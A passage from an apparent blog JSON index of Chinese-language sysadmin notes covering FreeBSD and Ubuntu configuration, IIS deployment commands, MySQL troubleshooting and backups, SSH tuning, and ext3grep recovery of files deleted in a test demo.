树的位置。 注意!如果你使用 csup/cvsup 同步 Ports 树,而你的 Ports 树不在默认位置,请在你的 ports-supfile 中也设定你的 Ports 树的位置。 2 设定 dist 文件的位置 所谓 dist 文件,就是 port 的源码。一般情况下,这些源码都是用 tar 打包然后用 bzip2 压缩的。默认的位置是在 $PORTSDIR/distfiles。 但是,你也可以把这些 dist 文件放到另外的地方。需要设定的环境变量就是 DISTDIR。你可以根据上面的例子来设定这个环境变量。 3 设定工作目录 如果没有设定工作目录,ports 系统默认在 port 的目录进行编译。比如你的 firefox 在 /usr/ports/www/firefox,那么默认将在 /usr/ports/www/firefox/work 下编译 firefox。这样有一个缺点,如果你的 /usr 目录不是很大的话,在编译某些大软件的时候,比如 gnome,kde 桌面系统时,你的 /usr 空间可能会不足。 解决的办法之一就是设定环境变量 WRKDIRPREFIX,比如 export WRKDIRPREFIX=/opt/obj/portbld 这个时候 ports 系统就会到 /opt/obj/portbld/usr/ports/www/firefox/work 下编译 firefox。 运行你安装的软件这里有一点小麻烦,但绝对不大,只占用你大约不到30秒的时间。如果你安装了应用软件,比如nginx,请按照下列步骤完成 vi /etc/rc.conf 然后新起一行,输入 nginx_enable=”YES” 保存退出然后运行下面的命令 cd /usr/local/etc/rc.d/nginx start 此时访问你的服务器,如能看到nginx的欢迎信息,就说明你的nginx正常启动了。 即时生效新安装的命令 FreeBSD 的cshell会缓存环境变量PATH中指定的目录里的可执行文件,以加快查找速度,这会造成一些新安装的命令无法运行,最典型的例子就是刚安装的vim居然提示找不到命令。用如下命令解决问题: rehash 列出无法补齐的候选文件 想要让FreeBSD的csh像bash那样按tab列出无法补齐的候选文件,标准的方法是按Ctrl+D。但如果一定要用tab的话,在/etc/csh.cshrc中加入: set autolist 有关于FreeBSD的网络配置虽然sysinstall也能修改主机的网络相关,但修改完网卡的相关参数后sysinstall会提示Would you liketo bring the le0 interface up right now?(你想让le0生效吗?)但我兴冲冲的执行此步后,发现新改的网卡参数并没重新重奖;所以我建议修改/etc/rc.conf文件后用命令使其立即生效。 #vi /etc/rc.confhostname=”bsd.mydomain.com”ifconfig_le0=”inet 192.168.1.108 netmask 255.255.255.0”defaultrouter=”192.168.1.1” #defaultrouter是网关地址 修改后需要让修改立即生效。这里不建议reboot服务器,有个小技巧与大家分享下,即sh /etc/rc 域名解析DNS配置如下,示例为google提供的一组DNS服务器地址 #vi /etc/resolv.confnameserver 8.8.8.8nameserver 8.8.4.4 进行安全的远程登录 修改/etc/ssh/sshd_config文件, Port 2122 # 默认为22,更改后减少别人暴力破解的机会 AllowUsers user1,user2 #指定能够远程登录的用户,其它用户登录时直接拒绝 #RSAAuthentication yes#PubkeyAuthentication yes#AuthorizedKeysFile .ssh/authorized_keys 备注:密钥认证,默认已经设置好,在用户根目录生成 .ssh/authorized_keys即可。密钥可借助SecureCRT、puttygent等工具协助完成 查看FreeBSD服务器的一些基础情况和信息 ①查看CPU: sysctl hw.model hw.ncpudmesg | grep “CPU:” ②查看内存: dmesg | grep “real memory” | awk -F ‘[( )]’ ‘{print $2,$4,$7,$8}’ 查看swap: top | grep “Swap:” | awk ‘{print $1,$2}’ ③查看硬盘: diskinfo -vt /dev/ad0 ④看硬盘大小及硬件使用情况: dmesg | grep “sector” | awk ‘{print $1,$2}’df -h ⑤查看服务器品牌: dmesg | grep “ACPI APIC” ⑥查看系统内核,命令跟Linux下一样: uname -a","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"FreeBSD","slug":"FreeBSD","permalink":"https://ajasonwang.github.io/tags/FreeBSD/"}]},{"title":"linux ubuntu 14.04 初体验","slug":"linux-ubuntu-1404","date":"2014-11-14T11:59:59.000Z","updated":"2022-11-08T12:47:15.878Z","comments":true,"path":"2014/11/14/linux-ubuntu-1404/","link":"","permalink":"https://ajasonwang.github.io/2014/11/14/linux-ubuntu-1404/","excerpt":"安装后的基本设置 1234567891011121314151617181920212223menuentry 'Ubuntu,Linux 3.5.0-23-generic' --class ubuntu --class gnu-linux --class gnu --class os {recordfailgfxmode $linux_gfx_modeinsmod gzioinsmod part_msdosinsmod ext2set root='(hd0,msdos7)'search --no-floppy --fs-uuid --set=root 6bd1de75-64db-466d-b8af-11dccb98e41flinux /boot/vmlinuz-3.5.0-23-generic root=UUID=6bd1de75-64db-466d-b8af-11dccb98e41f ro quiet splash $vinitrd /boot/initrd.img-3.5.0-23-generic}menuentry 'Ubuntu, with Linux 3.5.0-23-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --clarecordfailinsmod gzioinsmod part_msdosinsmod ext2set root='(hd0,msdos7)'search --no-floppy --fs-uuid --set=root 6bd1de75-64db-466d-b8af-11dccb98e41fecho '载入 Linux 3.5.0-23-generic ...'linux /boot/vmlinuz-3.5.0-23-generic root=UUID=6bd1de75-64db-466d-b8af-11dccb98e41f ro recovery nomodeseecho '载入初始化内存盘...'initrd /boot/initrd.img-3.5.0-23-generic}","text":"安装后的基本设置 1234567891011121314151617181920212223menuentry 'Ubuntu,Linux 3.5.0-23-generic' --class ubuntu --class gnu-linux --class gnu --class os {recordfailgfxmode $linux_gfx_modeinsmod gzioinsmod part_msdosinsmod ext2set root='(hd0,msdos7)'search --no-floppy --fs-uuid --set=root 6bd1de75-64db-466d-b8af-11dccb98e41flinux /boot/vmlinuz-3.5.0-23-generic root=UUID=6bd1de75-64db-466d-b8af-11dccb98e41f ro quiet splash $vinitrd /boot/initrd.img-3.5.0-23-generic}menuentry 'Ubuntu, with Linux 3.5.0-23-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --clarecordfailinsmod gzioinsmod part_msdosinsmod ext2set root='(hd0,msdos7)'search --no-floppy --fs-uuid --set=root 6bd1de75-64db-466d-b8af-11dccb98e41fecho '载入 Linux 3.5.0-23-generic ...'linux /boot/vmlinuz-3.5.0-23-generic root=UUID=6bd1de75-64db-466d-b8af-11dccb98e41f ro recovery nomodeseecho '载入初始化内存盘...'initrd /boot/initrd.img-3.5.0-23-generic} 编辑/etc/profile追加一下内容 JAVA_HOME=/jdk1.6.0_22CLASSPATH=.:$JAVA_HOME/lib.tools.jarPATH=$JAVA_HOME/bin:$PATHexport JAVA_HOME CLASSPATH PATH 执行 source /etc/profile 安装Eclipse下载Eclipse并创建快捷方式,在桌面上创建一个文档名为eclipse.desktop。打开文档输入内容: [Desktop Entry]Categories=Development;Comment[zh_CN]=Comment=Exec=/usr/java//eclipse/eclipseGenericName[zh_CN]=IDEGenericName=IDEIcon=/usr/java/eclipse/icon.xpmMimeType=Name[zh_CN]=eclipseName=eclipsePath=StartupNotify=trueTerminal=falseType=ApplicationX-DBUS-ServiceName=X-DBUS-StartupType=X-KDE-SubstituteUID=falseX-KDE-Username=owen 右键文件增加读写权限 Install flash player for chromium sudo add-apt-repository -y ppa:skunk/pepper-flashsudo apt-get updatesudo apt-get install pepflashplugin-installer sudo apt-get install pepperflashplugin-nonfreesudo update-pepperflashplugin-nonfree –install missing pub key error fix sudo apt-key adv –keyserver keyserver.ubuntu.com –recv-keys 8BAF9A6F Note that you need to configure Chromium to use Pepper Flash. To do this, open /etc/chromium-browser/default and add the following line to the end of the file on a new line: . /usr/lib/pepflashplugin-installer/pepflashplayer.sh if chromium say flash crash when opening, check url chrome://plugins/ to see if /usr/lib/pepflashplugin-installer/libpepflashplayer.so exist, if not, try copy it from /usr/lib/pepflashplugin-installer/libpepflashplayer.so to /usr/lib/pepflashplugin-installer/. 显示当前硬件信息: sudo lshw sudo apt-get install ubuntu-restricted-extras sudo apt-get remove empathysudo apt-get install pidginsudo apt-get install pidgin-plugin-pack sudo add-apt-repository ppa:nilarimogard/webupd8sudo apt-get updatesudo apt-get install pidgin-indicator Ubuntu 13.10/14.04用户安装LXQT桌面: sudo add-apt-repository ppa:lubuntu-dev/lubuntu-dailysudo add-apt-repository ppa:gilir/q-projectsudo apt-get updatesudo apt-get upgradesudo apt-get install lxqt-metapackage Ubuntu 14.04用户安装Bodhi桌面(Enlightenment桌面环境): sudo sh -c ‘echo “deb http://packages.bodhilinux.com/bodhi trusty main” >> /etc/apt/sources.list’sudo apt-get updatesudo apt-get install packagekitsudo apt-get install bodhi-desktop 安装完成之后,在欢迎界面选择桌面即可 Ubuntu 14.04下安装字体工具软件TypeCatcher 0.2 sudo add-apt-repository ppa:andrewsomething/typecatchersudo apt-get updatesudo apt-get install typecatcher 卸载typecatcher命令: sudo apt-get remove typecatcher 移除PPA: sudo apt-get install ppa-purgesudo ppa-purge ppa:andrewsomething/typecatcher Linux下查看已安装字体的方法 fc-list :lang=zh 进一步了解这些字体对应的文件,可以运行fc-match程序得到 fc-match -v “AR PL UKai CN” 1、安装MS字体 cd /usr/share/fontssudo mkdir zh_CN 然后将MS的字体文件(simsun.ttc tahoma.ttf verdana.ttf verdanab.ttf verdanaz.ttf tahomabd.ttf verdanai.ttf)复制到zh_CN目录下, 复制完以后要改变权限 cd zh_CNsudo chmod 644 * 然后执行 sudo mkfontscalesudo mkfontdirsudo fc-cache -fsv","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"windows 安装证书命令","slug":"windows-import-cer-file-command","date":"2014-11-07T00:18:18.000Z","updated":"2022-11-08T12:47:15.905Z","comments":true,"path":"2014/11/07/windows-import-cer-file-command/","link":"","permalink":"https://ajasonwang.github.io/2014/11/07/windows-import-cer-file-command/","excerpt":"","text":"import cet file to computer account certmgr.exe /add "d:\\MoneyTreeRootCA.cer" /s /r localMachine root import cet file to local user account certmgr.exe /add "d:\\MoneyTreeRootCA.cer" /s /r currentUser root","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"}]},{"title":"iis webdeploy","slug":"iis-webdeploy","date":"2014-11-05T01:19:19.000Z","updated":"2022-11-08T12:47:15.872Z","comments":true,"path":"2014/11/05/iis-webdeploy/","link":"","permalink":"https://ajasonwang.github.io/2014/11/05/iis-webdeploy/","excerpt":"for IIS 6","text":"for IIS 6 123456789101112131415161718for %%i in (a,b,c) do echo updating %%i now ... ^&& "C:\\Program Files\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe" ^-verb:sync ^-source:runCommand="c:\\windows\\system32\\iisapp.vbs /a BPReports /r",waitInterval=20000 ^-dest:auto,computerName=%%ifor %%i in (a,b,c) do echo updating %%i now ... ^&& "C:\\Program Files\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe" ^-verb:sync ^-source:package="\\\\aaa\\DeployPackages\\1.9_20120905_patch\\BPReport\\BpsReport-1.9.4631.4135.zip" ^-dest:auto,computerName=%%i ^-replace:objectName=filePath,match=-prod\\.config$,replace=.config ^-skip:objectName=filePath,absolutePath=.*-dev\\.config$ ^-skip:objectName=filePath,absolutePath=.*-qa\\.config$ ^-skip:objectName=filePath,absolutePath=.*-stg\\.config$ ^-skip:objectName=filePath,absolutePath=.*-uat\\.config$ ^-skip:objectName=filePath,absolutePath=.*-dallas\\.config$ ^-verbose for IIS 7 1234567891011121314151617"C:\\Program Files\\IIS\\Microsoft Web Deploy\\msdeploy.exe" ^-verb:sync ^-source:runCommand="C:\\Windows\\SysWow64\\inetsrv\\appcmd.exe recycle APPPOOL BPReports",waitInterval=20000 ^-dest:auto,computerName=aaafor %%i in (a,b,c) do echo updating %%i now ... ^&& "C:\\Program Files\\IIS\\Microsoft Web Deploy\\msdeploy.exe" ^-verb:sync ^-source:package="\\\\aaa\\DeployPackages\\1.9_20120905_patch\\BPReport\\BpsReport-1.9.4631.4135.zip" ^-dest:auto,computerName=%%i ^-replace:objectName=filePath,match=-prod\\.config$,replace=.config ^-skip:objectName=filePath,absolutePath=.*-dev\\.config$ ^-skip:objectName=filePath,absolutePath=.*-qa\\.config$ ^-skip:objectName=filePath,absolutePath=.*-stg\\.config$ ^-skip:objectName=filePath,absolutePath=.*-uat\\.config$ ^-skip:objectName=filePath,absolutePath=.*-dallas\\.config$ ^-verbose","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"}]},{"title":"iis 7 appcmd","slug":"iis-7-appcmd","date":"2014-11-05T00:08:08.000Z","updated":"2022-11-08T12:47:15.871Z","comments":true,"path":"2014/11/05/iis-7-appcmd/","link":"","permalink":"https://ajasonwang.github.io/2014/11/05/iis-7-appcmd/","excerpt":"add a new site1234md D:\\wwwroot_edmapinet localgroup "administrators" /add msdomain1\\usernamenet localgroup "msappaccess" /add msdomain1\\usernamenet localgroup "IIS_IUSRS" /add msdomain1\\username","text":"add a new site1234md D:\\wwwroot_edmapinet localgroup "administrators" /add msdomain1\\usernamenet localgroup "msappaccess" /add msdomain1\\usernamenet localgroup "IIS_IUSRS" /add msdomain1\\username add app pool1%windir%\\system32\\inetsrv\\appcmd.exe add apppool /name="SiteName" set app pool mode1%windir%\\system32\\inetsrv\\appcmd.exe set apppool /apppool.name:"SiteName" /managedRuntimeVersion:"v4.0" /managedPipelineMode:"Classic" /autoStart:false set app pool user1%windir%\\system32\\inetsrv\\appcmd.exe set apppool /apppool.name:"SiteName" /processModel.identityType:"SpecificUser" /processModel.userName:"msdomain1\\username" /processModel.password:"xxx" add site1%windir%\\system32\\inetsrv\\appcmd.exe add site /site.name:SiteName /physicalPath:D:\\wwwroot_edmapi /bindings:http://username.yourcompany.com:80 change site pool1%windir%\\system32\\inetsrv\\appcmd.exe set app SiteName/ -applicationPool:SiteName","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"}]},{"title":"linux vim 非root用户不能保存文件的技巧","slug":"linux-vim-save-file-none-root","date":"2014-11-04T13:29:29.000Z","updated":"2022-11-08T12:47:15.879Z","comments":true,"path":"2014/11/04/linux-vim-save-file-none-root/","link":"","permalink":"https://ajasonwang.github.io/2014/11/04/linux-vim-save-file-none-root/","excerpt":"","text":":w !sudo tee %","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"mysql ulimit 案例(转载)","slug":"mysql-ulimit","date":"2014-11-04T10:18:18.000Z","updated":"2022-11-08T12:47:15.883Z","comments":true,"path":"2014/11/04/mysql-ulimit/","link":"","permalink":"https://ajasonwang.github.io/2014/11/04/mysql-ulimit/","excerpt":"开始:晚上十点被报警惊醒(幸好还没睡觉),报警内容:xxxxxxxxxxxxx“MySQL IS Down”;MySQL 没有任何预兆的就死啦。 勘察现场:->查看下MySQL进程—存在 ->系统load,cpu,io 均很正常 ->(个人觉得zabbix 不会误报) ->登录MySQL提示:ERROR 1135 (HY000): Can’t create a new thread (errno 11) ->perror 11 显示: OS error code 11: Resource temporarily unavailable","text":"开始:晚上十点被报警惊醒(幸好还没睡觉),报警内容:xxxxxxxxxxxxx“MySQL IS Down”;MySQL 没有任何预兆的就死啦。 勘察现场:->查看下MySQL进程—存在 ->系统load,cpu,io 均很正常 ->(个人觉得zabbix 不会误报) ->登录MySQL提示:ERROR 1135 (HY000): Can’t create a new thread (errno 11) ->perror 11 显示: OS error code 11: Resource temporarily unavailable ->第一反应是 文件句柄不够用,查看文件句柄使用情况: 1lsof -n | awk '{print $2}' | sort | uniq -c | grep 'pid of mysql' 一切正常; 1ulimit -a 显示所有的结果: max process 为 1024;–基本可以肯定问题就出在这里,某个程序发起了过多的连接,现在可以考虑坐下限制(简单粗暴的方法是 设置ulimit -u 102400,然后再重启MySQL–): —-> 查看3306 连接数: 1netstat -ano | grep ip:3306 | awk '{print $5}' | awk -F ':' '{print $1}' | sort | uniq -c 可以考虑使用iptables 限制最大连接数来处理: 1iptables -A INPUT -p tcp -m tcp --dport 3306 --tcp-flags FIN,SYN,RST,ACK SYN -m connlimit --connlimit-above 200 --connlimit-mask 32 -j REJECT --reject-with tcp-reset 故障反思: 其中漏掉的一点是:查看系统限制:/etc/security/limits.conf 中 max process = 65535 但ulimit -a 的时候显示的是 1024 su mysql bash -c “ulimit -a” 不科学的: 后经过google发现在centos 6.x中,添加了一个新的文件:/etc/security/limits.d/90-nproc.conf ,只有 noproc是已这个文件为准; 总结为:在centos5里面,只要在/etc/security/limits.conf 设置好久可以啦,在Centos6里面除了上面提到的limits.conf 配置文件,还要设置好/etc/security/limits.d/90-nproc.conf 方法二:找到一个可以不重启MySQL就可以在线修改noproc的方式! 从Linux 2.6.32开始可以使用 1echo -n "Max processes=204800:204800" > /proc/`pidof mysqld`/limits 来动态修改进程的系统资源limits信息,不用再因为修改这个而去重启实例,亲测可用!","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"MySQL","slug":"MySQL","permalink":"https://ajasonwang.github.io/tags/MySQL/"}]},{"title":"mysql backup with mysqldump","slug":"mysql-backup-with-mysqldump","date":"2014-11-04T06:34:34.000Z","updated":"2022-11-08T12:47:15.882Z","comments":true,"path":"2014/11/04/mysql-backup-with-mysqldump/","link":"","permalink":"https://ajasonwang.github.io/2014/11/04/mysql-backup-with-mysqldump/","excerpt":"MySQLdump基本用法备份指定数据库 mysqldump -uroot -p[passwd] db1 > dumpfilename.sql 备份多个数据库 mysqldump -uroot -p[passwd] –databases db1 db2 > dumpfilename.sql 备份所有数据库 mysqldump -uroot -p[passwd] –all-databases > dumpfile.sql","text":"MySQLdump基本用法备份指定数据库 mysqldump -uroot -p[passwd] db1 > dumpfilename.sql 备份多个数据库 mysqldump -uroot -p[passwd] –databases db1 db2 > dumpfilename.sql 备份所有数据库 mysqldump -uroot -p[passwd] –all-databases > dumpfile.sql 备份指定表 mysqldump -uroot -p[passwd] db1 table1 > db1_table1.sql 只备份表结构 mysqldump -uroot -p[passwd] -d db1 > dumpfile.sql 如果不想要drop table, 附上参数–compact mysqldump -uroot -p[passwd] –compact db1 > dumpfile.sql 还原 mysql -uroot -ppassword db1 < dumpfile.sql 如果存储引擎是MYISAM,还可以使用mysqlhotcopy mysqlhotcopy -u root -p passwd db1 备份目录 注意,-u后面有个空格, mysqlhotcopy相当于把数据库文件拷贝到新的目录. 恢复的方法就是把该备份目录拷贝到mysql数据目录下面. MySQLdump增量备份、完全备份与恢复在数据库表丢失或损坏的情况下,备份你的数据库是很重要的。如果发生系统崩溃,你肯定想能够将你的表尽可能丢失最少的数据恢复到崩溃发生时的状态。场景:每周日执行一次完全备份,每天下午1点执行MySQLdump增量备份 MySQLdump增量备份配置 执行增量备份的前提条件是MySQL打开log-bin日志开关,例如在my.ini或my.cnf中加入 log-bin=/opt/Data/MySQL-bin “log-bin=”后的字符串为日志记载目录,一般建议放在不同于MySQL数据目录的磁盘上。 MySQLdump增量备份 假定星期日下午1点执行完全备份,适用于MyISAM存储引擎。 MySQLdump –lock-all-tables –flush-logs –master-data=2 -u root -p test > backup_sunday_1_PM.sql 对于InnoDB 将–lock-all-tables替换为–single-transactionflush-logs 为结束当前日志,生成新日志文件master-data=2 选项将会在输出SQL中记录下完全备份后新日志文件的名称, 用于日后恢复时参考,例如输出的备份SQL文件中含有: CHANGE MASTER TO MASTER_LOG_FILE=’MySQL-bin.000002′, MASTER_LOG_POS=106; MySQLdump增量备份其他说明: 如果MySQLdump加上–delete-master-logs 则清除以前的日志,以释放空间。但是如果服务器配置为镜像的复制主服务器,用MySQLdump –delete-master-logs删掉MySQL二进制日志很危险,因为从服务器可能还没有完全处理该二进制日志的内容。在这种情况下,使用 PURGE MASTER LOGS更为安全。 每日定时使用 MySQLadmin flush-logs来创建新日志,并结束前一日志写入过程。并把前一日志备份,例如上例中开始保存数据目录下的日志文件 MySQL-bin.000002 , … ◆恢复完全备份 MySQL -u root -p < backup_sunday_1_PM.sql ◆恢复增量备份 MySQLbinlog MySQL-bin.000002 … | MySQL -u root -p password 注意此次恢复过程亦会写入日志文件,如果数据量很大,建议先关闭日志功能 ◆–compatible=name它告诉 MySQLdump,导出的数据将和哪种数据库或哪个旧版本的 MySQL 服务器相兼容。值可以为 ansi、MySQL323、MySQL40、postgresql、oracle、mssql、db2、maxdb、no_key_options、no_tables_options、no_field_options 等,要使用几个值,用逗号将它们隔开。当然了,它并不保证能完全兼容,而是尽量兼容。 ◆–complete-insert,-c导出的数据采用包含字段名的完整 INSERT 方式,也就是把所有的值都写在一行。这么做能提高插入效率,但是可能会受到 max_allowed_packet 参数的影响而导致插入失败。因此,需要谨慎使用该参数,至少我不推荐。 ◆–default-character-set=charset指定导出数据时采用何种字符集,如果数据表不是采用默认的 latin1 字符集的话,那么导出时必须指定该选项,否则再次导入数据后将产生乱码问题。 ◆–disable-keys告诉 MySQLdump 在 INSERT 语句的开头和结尾增加 /*!40000 ALTER TABLE table DISABLE KEYS /; 和 /!40000 ALTER TABLE table ENABLE KEYS */; 语句,这能大大提高插入语句的速度,因为它是在插入完所有数据后才重建索引的。该选项只适合 MyISAM 表。 ◆–extended-insert = true|false默认情况下,MySQLdump 开启 –complete-insert 模式,因此不想用它的的话,就使用本选项,设定它的值为 false 即可。 ◆–hex-blob使用十六进制格式导出二进制字符串字段。如果有二进制数据就必须使用本选项。影响到的字段类型有 BINARY、VARBINARY、BLOB。 ◆–lock-all-tables,-x在开始导出之前,提交请求锁定所有数据库中的所有表,以保证数据的一致性。这是一个全局读锁,并且自动关闭 –single-transaction 和 –lock-tables 选项。 ◆–lock-tables它和 –lock-all-tables 类似,不过是锁定当前导出的数据表,而不是一下子锁定全部库下的表。本选项只适用于 MyISAM 表,如果是 Innodb 表可以用 –single-transaction 选项。 ◆–no-create-info,-t只导出数据,而不添加 CREATE TABLE 语句。 ◆–no-data,-d不导出任何数据,只导出数据库表结构。 ◆–opt这只是一个快捷选项,等同于同时添加 –add-drop-tables –add-locking –create-option –disable-keys –extended-insert –lock-tables –quick –set-charset 选项。本选项能让 MySQLdump 很快的导出数据,并且导出的数据能很快导回。该选项默认开启,但可以用 –skip-opt 禁用。注意,如果运行 MySQLdump 没有指定 –quick 或 –opt 选项,则会将整个结果集放在内存中。如果导出大数据库的话可能会出现问题。 ◆–quick,-q该选项在导出大表时很有用,它强制 MySQLdump 从服务器查询取得记录直接输出而不是取得所有记录后将它们缓存到内存中。 ◆–routines,-R导出存储过程以及自定义函数。 ◆–single-transaction该选项在导出数据之前提交一个 BEGIN SQL语句,BEGIN 不会阻塞任何应用程序且能保证导出时数据库的一致性状态。它只适用于事务表,例如 InnoDB 和 BDB。本选项和 –lock-tables 选项是互斥的,因为 LOCK TABLES 会使任何挂起的事务隐含提交。要想导出大表的话,应结合使用 –quick 选项。 ◆–triggers同时导出触发器。该选项默认启用,用 –skip-triggers 禁用它。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"MySQL","slug":"MySQL","permalink":"https://ajasonwang.github.io/tags/MySQL/"}]},{"title":"linux ssh 登陆慢","slug":"linux-ssh-login-slow","date":"2014-11-04T04:22:22.000Z","updated":"2022-11-08T12:47:15.876Z","comments":true,"path":"2014/11/04/linux-ssh-login-slow/","link":"","permalink":"https://ajasonwang.github.io/2014/11/04/linux-ssh-login-slow/","excerpt":"ssh登陆内网centos,在输入密码以后,密码验证的时间比较久(大约5秒左右),一般情况下应该是瞬间完成,最后确定是需要把ssh服务中的dns反解关闭。当ssh到服务器ip时,系统会试图通过DNS反查相对应的域名,如果DNS中没有这个IP的域名解析,则会等到DNS查询超时才会进行下一步,所以浪费了时间,解决如下: vi /etc/ssh/sshd_config 注释掉:UseDNS no //默认为yes改为no 重启ssh服务。","text":"ssh登陆内网centos,在输入密码以后,密码验证的时间比较久(大约5秒左右),一般情况下应该是瞬间完成,最后确定是需要把ssh服务中的dns反解关闭。当ssh到服务器ip时,系统会试图通过DNS反查相对应的域名,如果DNS中没有这个IP的域名解析,则会等到DNS查询超时才会进行下一步,所以浪费了时间,解决如下: vi /etc/ssh/sshd_config 注释掉:UseDNS no //默认为yes改为no 重启ssh服务。 还有个方法就是在服务器中不指定dns服务器。 vi /etc/resolv.conf //注释掉所有配置行 另一种情况如下,我没遇到过,这个原因好像在ubuntu上容易出现(可能是个bug): vi /etc/ssh/sshd_config 修改GSSAPIAuthentication参数为 no,默认是yes GSSAPIAuthenticationSpecifies whether user authentication based on GSSAPI is allowed.The default is”no”. Note that this option applies to protocolversion 2 only. 重启ssh服务。 ssh -vvv root@172.17.1.8 //-vvv的参数可以查看ssh登录的过程。 在远程访问某些服务很慢的情况下,不妨去掉服务器dns试试。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"powershell 清理磁盘空间","slug":"powershell-clean-disk-space","date":"2014-11-04T03:31:31.000Z","updated":"2022-11-08T12:47:15.888Z","comments":true,"path":"2014/11/04/powershell-clean-disk-space/","link":"","permalink":"https://ajasonwang.github.io/2014/11/04/powershell-clean-disk-space/","excerpt":"","text":"#$fileDirs = @("D:\\Jenkins_Slave\\bpjenkins81\\workspace","D:\\Jenkins_Slave\\dpjenkins81\\workspace") $fileDirs = $env:WORKSPACE $fileTypes=@(".obj",".pch") function fileManage { foreach($fileDir in $fileDirs) { if(!(Test-Path $fileDir)) {continue;} else { foreach($fileType in $fileTypes) { $logFiles = Get-ChildItem -path $fileDir -Recurse|where-object { -not $_.PSIsContainer -and $_.extension -eq "$fileType"} foreach($logFile in $logFiles) { if($logFile -eq $Null){continue;} else { Write-Host "Deleting $($logFile.fullname)" Remove-Item $logFile.fullname -Force } }#foreach }#foreach }#else } } #__main__: fileManage","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Windows","slug":"Windows","permalink":"https://ajasonwang.github.io/tags/Windows/"}]},{"title":"rm rf 误删恢复","slug":"linux-rm-rf-recovery","date":"2014-11-03T14:00:00.000Z","updated":"2022-11-08T12:47:15.875Z","comments":true,"path":"2014/11/03/linux-rm-rf-recovery/","link":"","permalink":"https://ajasonwang.github.io/2014/11/03/linux-rm-rf-recovery/","excerpt":"在linux下rm -rf 是一个很可怕的命令,因为下达这个命令意味着一旦删除的文件是无法挽回的,事实是如此吗?真的没有补救措施了吗?答案是委婉了,在一定的条件下可以补救 ,大家可能熟悉windows下删除的补救措施是通过相关的软件实现的,在linux下同样可以做到补救,但是有个大前提:就是不能有覆盖的动作(意思就是在尝试恢复删除的数据前,删除文件的目录内不能存放新东西),不然覆盖多少就损失多少! 这里用到的套件是ext3grep、系统必须默认的安装上 e2fsprogs-libs-1.39-23.el5 e2fsprogs-devel-1.39-23.el5 e2fsprogs-1.39-23.el5","text":"在linux下rm -rf 是一个很可怕的命令,因为下达这个命令意味着一旦删除的文件是无法挽回的,事实是如此吗?真的没有补救措施了吗?答案是委婉了,在一定的条件下可以补救 ,大家可能熟悉windows下删除的补救措施是通过相关的软件实现的,在linux下同样可以做到补救,但是有个大前提:就是不能有覆盖的动作(意思就是在尝试恢复删除的数据前,删除文件的目录内不能存放新东西),不然覆盖多少就损失多少! 这里用到的套件是ext3grep、系统必须默认的安装上 e2fsprogs-libs-1.39-23.el5 e2fsprogs-devel-1.39-23.el5 e2fsprogs-1.39-23.el5 [root@localhost ~]# rpm -qa|grep e2fsprogs e2fsprogs-libs-1.39-23.el5 e2fsprogs-devel-1.39-23.el5 e2fsprogs-1.39-23.el5 [root@localhost ~]# ll ext3grep-0.10.2.tar.gz -rw-r–r– 1 root root 236364 Oct 17 2011 ext3grep-0.10.2.tar.gz [root@localhost ~]# tar zxvf ext3grep-0.10.2.tar.gz [root@localhost ~]# cd ext3grep-0.10.2 [root@localhost ext3grep-0.10.2]# ./configure [root@localhost ext3grep-0.10.2]# make && make install [root@localhost ~]# ll /usr/local/bin total 2656 -rwxr-xr-x 1 root root 2709704 Oct 15 04:46 ext3grep //www.linuxidc.com这句是那个可执行文件 接下来演示一个补救的过程实例 [root@localhost ~]# mkdir /data/ /ixdba/ [root@localhost data]# dd if=/dev/zero of=data-disk bs=1M count=105 [root@localhost data]# mkfs.ext3 data-disk //格式为ext3的文件系统,在出现的提示符处输入y [root@localhost data]# mount -o loop /data/data-disk /ixdba/ //挂载 [root@localhost data]# cp /etc/host* /ixdba/ //往里边放文件 [root@localhost data]# cp /etc/passwd /ixdba/ [root@localhost data]# cd /ixdba/ [root@localhost data]# rm -rf * //制造删除的动作 [root@localhost data]# cd /data/ [root@localhost data]# ext3grep /data/data-disk –ls –inode 2 //查看丢失的文件 [root@localhost data]# ext3grep /data/data-disk –restore-file passwd //仅仅恢复passwd这个文件 [root@localhost data]# ext3grep /data/data-disk –restore-all //恢复的动作,全部恢复 [root@localhost data]# lsdata-disk data-disk.ext3grep.stage1 data-disk.ext3grep.stage2 RESTORED_FILES [root@localhost data]# ll RESTORED_FILES/ //所有恢复的文件全在这个文件夹里存放,都找回来了 total 48 -rw-r–r– 1 root root 17 Oct 15 06:03 host.conf -rw-r–r– 1 root root 187 Oct 15 06:03 hosts -rw-r–r– 1 root root 161 Oct 15 06:03 hosts.allow 